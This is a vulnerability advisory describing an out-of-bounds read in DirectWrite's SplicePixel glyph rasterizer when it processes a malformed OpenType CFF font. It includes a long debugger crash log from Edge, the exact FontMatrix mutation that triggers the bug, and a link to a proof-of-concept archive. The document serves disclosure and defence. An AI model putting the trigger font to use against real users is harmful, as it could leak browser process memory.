Microsoft DirectWrite – Invalid Read in SplicePixel While Processing OTF Fonts
Microsoft DirectWrite is a modern Windows API for high-quality text rendering. A majority of its code resides in the DWrite.dll user-mode library. It is used by a variety of widely used desktop programs (such as the Chrome, Firefox and Edge browsers) and constitutes an attack surface for memory corruption bugs, as it performs the processing of untrusted font files and is written in C/C++. Through fuzzing, we have discovered a crash caused by an invalid memory read in DWrite!SplicePixel, while rasterizing the glyphs of a slightly malformed OpenType font. The problem reproduces in all major browsers; below is a crash log from the Microsoft Edge renderer process, generated when trying to open a web page with the proof-of-concept font embedded: --- cut --- (281c.25d4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. DWrite!SplicePixel+0x14b: 00007fff`b8634473 488b14f0 mov rdx,qword ptr [rax+rsi*8] ds:00000227`c62d95b0=???????????????? 0:031> u DWrite!SplicePixel+0x14b: 00007fff`b8634473 488b14f0 mov rdx,qword ptr [rax+rsi*8] 00007fff`b8634477 4885d2 test rdx,rdx 00007fff`b863447a 7474 je DWrite!SplicePixel+0x1c8 (00007fff`b86344f0) 00007fff`b863447c 458d4b01 lea r9d,[r11+1] 00007fff`b8634480 8b4208 mov eax,dword ptr [rdx+8] 00007fff`b8634483 413bc1 cmp eax,r9d 00007fff`b8634486 7f68 jg DWrite!SplicePixel+0x1c8 (00007fff`b86344f0) 00007fff`b8634488 488b0a mov rcx,qword ptr [rdx] 0:031> ? rax Evaluate expression: 2369851854688 = 00000227`c62d8f60 0:031> ? rsi Evaluate expression: 202 = 00000000`000000ca 0:031> dd rax 00000227`c62d8f60 ???????? ???????? ???????? ???????? 00000227`c62d8f70 ???????? ???????? ???????? ???????? 00000227`c62d8f80 ???????? ???????? ???????? ???????? 00000227`c62d8f90 ???????? ???????? ???????? ???????? 00000227`c62d8fa0 ???????? ???????? ???????? ???????? 00000227`c62d8fb0 ???????? ???????? ???????? ???????? 00000227`c62d8fc0 ???????? ???????? ???????? ???????? 00000227`c62d8fd0 ???????? ???????? ???????? ???????? 0:031> k # Child-SP RetAddr Call Site 00 000000b4`ceaebe00 00007fff`b8634306 DWrite!SplicePixel+0x14b 01 000000b4`ceaebe50 00007fff`b8633325 DWrite!SetPixelInDropOut+0x9a 02 000000b4`ceaebe90 00007fff`b86322a8 DWrite!FillInInflection+0xcd 03 000000b4`ceaebf00 00007fff`b863281b DWrite!DoXInflections+0x118 04 000000b4`ceaebf40 00007fff`b86319ca DWrite!EditBlackSpace+0x29f 05 000000b4`ceaebfa0 00007fff`b8636118 DWrite!CScan+0x72 06 000000b4`ceaebff0 00007fff`b855b1b2 DWrite!CScanFill+0x204 07 000000b4`ceaec0e0 00007fff`b848ccef DWrite!DoType1InterpretCharString+0xcd77a 08 000000b4`ceaec790 00007fff`b862ea16 DWrite!Type1InterpretCharString+0x163 09 000000b4`ceaec880 00007fff`b862dd49 DWrite!BuildRuns+0x186 0a 000000b4`ceaec9b0 00007fff`b862b2b9 DWrite!ATMBuildBitMap+0xb9 0b 000000b4`ceaeca80 00007fff`b85b88b7 DWrite!AdobeInternalGetBitmap+0x31d 0c 000000b4`ceaecd20 00007fff`b85b877a DWrite!CffRasterizer::Implementation::GetBitmap+0x11f 0d 000000b4`ceaece60 00007fff`b84e2c89 DWrite!CffRasterizer::GetBitmap+0x2a 0e 000000b4`ceaecea0 00007fff`b84b1754 DWrite!GlyphBitmapRasterizationState::RasterizeGlyph+0x111 0f 000000b4`ceaecee0 00007fff`c8e3e1ce DWrite!DWriteGlyphLookupCache::GetGlyphBitmapInfo+0x264 10 000000b4`ceaed150 00007fff`c8e3e95f d2d1!GlyphRunAnalyzer::AddCachedGlyph+0x62 11 000000b4`ceaed200 00007fff`c8e460b0 d2d1!GlyphRunAnalyzer::GetGlyphs+0x18f 12 000000b4`ceaed250 00007fff`c8e5572d d2d1!GlyphRunRenderer::InitForRendering+0x2c0 13 000000b4`ceaed390 00007fff`c8ebffe4 d2d1!CHwSurfaceRenderTarget::DrawGlyphRun+0x38d 14 000000b4`ceaed6a0 00007fff`c8e5379e d2d1!BrushRedirectionCompatibleCommand<CCommand_DrawGlyphRun,0>::Execute+0x134 15 000000b4`ceaed7b0 00007fff`c8e6e7ef d2d1!CHwSurfaceRenderTarget::ProcessBatch+0x3ce 16 000000b4`ceaed860 00007fff`c8e6a0ae d2d1!CBatchSerializer::FlushInternal+0x13f 17 000000b4`ceaed8f0 00007fff`c8e6143b d2d1!DrawingContext::Flush+0x96 18 000000b4`ceaed950 00007fff`9dba551e d2d1!D2DDeviceContextBase<ID2D1DeviceContext6,ID2D1DeviceContext6,null_type>::EndDraw+0x13b 19 000000b4`ceaeda90 00007fff`9da3a704 edgehtml!CDXRenderTarget::EndDrawD2D+0x66 1a 000000b4`ceaedac0 00007fff`9da3a4e8 edgehtml!CDXRenderTarget::EnsureRenderMode+0x184 1b 000000b4`ceaedaf0 00007fff`9db9db85 edgehtml!CDXRenderTarget::EndDraw+0x38 1c 000000b4`ceaedb40 00007fff`9db9da0b edgehtml!CDispSurface::EndLayerToRenderTarget+0x145 1d 000000b4`ceaedbe0 00007fff`9da2585f edgehtml!CDispNodeDestination::EndRender+0x6b 1e 000000b4`ceaedc50 00007fff`9db660c1 edgehtml!CDispNodeDestination::EndRect+0xaf 1f 000000b4`ceaedc90 00007fff`9da1cf83 edgehtml!CDispDestinationDrawHelper::EndRect+0x31 20 000000b4`ceaedcc0 00007fff`9d9de055 edgehtml!CDispContainer::DrawSelfContent+0x583 21 000000b4`ceaede30 00007fff`9d9df37e edgehtml!CDispContainer::DrawSelf+0x365 22 000000b4`ceaedfc0 00007fff`9da1ee43 edgehtml!CDispNode::DrawInternal+0x7ce 23 000000b4`ceaee350 00007fff`9da1d747 edgehtml!CDispNode::Draw+0x943 24 000000b4`ceaee560 00007fff`9da1d297 edgehtml!CDispContainer::DrawChildren+0x227 25 000000b4`ceaee620 00007fff`9da1cbc8 edgehtml!CDispContainer::DrawSelfContentFullStackingContext+0x127 26 000000b4`ceaee710 00007fff`9d9de055 edgehtml!CDispContainer::DrawSelfContent+0x1c8 27 000000b4`ceaee880 00007fff`9d9df37e edgehtml!CDispContainer::DrawSelf+0x365 28 000000b4`ceaeea10 00007fff`9da1ead3 edgehtml!CDispNode::DrawInternal+0x7ce 29 000000b4`ceaeeda0 00007fff`9da2a8fc edgehtml!CDispNode::Draw+0x5d3 2a 000000b4`ceaeefb0 00007fff`9da29b68 edgehtml!CDispRoot::DrawIndependentCompositionLayerTree+0x5c 2b 000000b4`ceaef0a0 00007fff`9da297f5 edgehtml!CDispRoot::DrawRoot+0x1b8 2c 000000b4`ceaef2f0 00007fff`9daa452c edgehtml!CPaintHandler::RenderInternal+0x2b5 2d 000000b4`ceaef870 00007fff`9d9c4ac8 edgehtml!CPaintHandler::RenderIfNeeded+0x7c 2e 000000b4`ceaef8e0 00007fff`9dbaa80d edgehtml!CRenderThread::ProcessRenderWork+0xdc 2f 000000b4`ceaef940 00007fff`9dacfdb9 edgehtml!CRenderTaskDrawInPlace::Execute+0xad 30 000000b4`ceaef9b0 00007fff`9dbe7542 edgehtml!CRenderThread::RenderThread+0x229 31 000000b4`ceaefa50 00007fff`cec537e4 edgehtml!CRenderThread::StaticRenderThreadProc+0x42 32 000000b4`ceaefa80 00007fff`cf5bcb81 KERNEL32!BaseThreadInitThunk+0x14 33 000000b4`ceaefab0 00000000`00000000 ntdll!RtlUserThreadStart+0x21 --- cut --- We have minimized the test case to a single-byte difference in relation to the original file. When decompiled with the "ttx" utility from the fontTools package, the difference becomes obvious: it's a change of one of the FontMatrix values inside the CFF table. Original data: <FontMatrix value="0.001 0.0 0.000123 0.001 0.0 0.0"/> Mutated data: <FontMatrix value="0.001 2000000.0 0.000123 0.001 0.0 0.0"/> The issue reproduces on a fully updated Windows 7 and Windows 10 1709; we haven't tested other versions of the system. It could be potentially used to disclose sensitive data from the process address space. It is easiest to reproduce with PageHeap enabled, but it is also possible to observe a crash in a default system configuration. Attached are the minimized PoC font, original font, an HTML file to reproduce the bug in a browser, and 3 extra non-minimized samples which also trigger the crash. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47381.zip |